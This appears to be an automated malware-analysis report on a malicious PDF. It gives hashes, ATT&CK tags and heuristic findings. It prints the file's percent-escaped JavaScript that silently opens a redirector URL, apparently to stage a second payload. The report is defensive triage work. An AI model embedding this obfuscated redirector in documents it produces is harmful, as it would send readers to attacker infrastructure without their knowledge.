PDF malware analysis — malicious · 8fa2aa1b7c61ff4b

MALICIOUS

PDF

39.0 KB Created: 2011-01-11 13:30:11 +02:00 Authoring application: Student Loan Help (via mPDF 5.0) First seen: 2021-06-30

MD5: 75576b2c281375972dbd6e0b9cf8c6cc SHA-1: 70904fc9c32e38bfb61f74e8a87ed7d200ece582 SHA-256: 8fa2aa1b7c61ff4ba283567ea9600f939a49135375bc5170b25feb8fdf0a5e61

208 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains obfuscated JavaScript that uses the unescape function to decode a URL. This script is designed to redirect the user to 'http://searchglobalsite.com/in.cgi?11', likely to download and execute a second-stage payload. The critical PDF_JS_EXPLOIT_CLUSTER heuristic firing indicates a known exploit pattern.

Machine Learning

Nyx PDF Classifier malicious score 0.9991

Heuristics 6

JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
/S /JavaScript
/JS (this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%31')))
>>
```
Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR

PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://searchglobalsite.com/in.cgi?11 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0027_000.js`	pdf-javascript-stream	PDF /JS object 27 at offset 0x939A	136 bytes
SHA-256: `357d06d70777f397a54fd04180a5ee36f36a8ec5c7cbbafdfab41f20901b25ac`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script First 1,000 lines of the extracted script this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%31'))
`javascript_obj0027_001.js`	pdf-javascript-stream	PDF /JS object 27 at offset 0x939A	134 bytes
SHA-256: `607a0753f2d28ea7a383d2e729ee9a1eeb69db22eafb74fa3e1d444ae047c123`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script First 1,000 lines of the extracted script this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%31'

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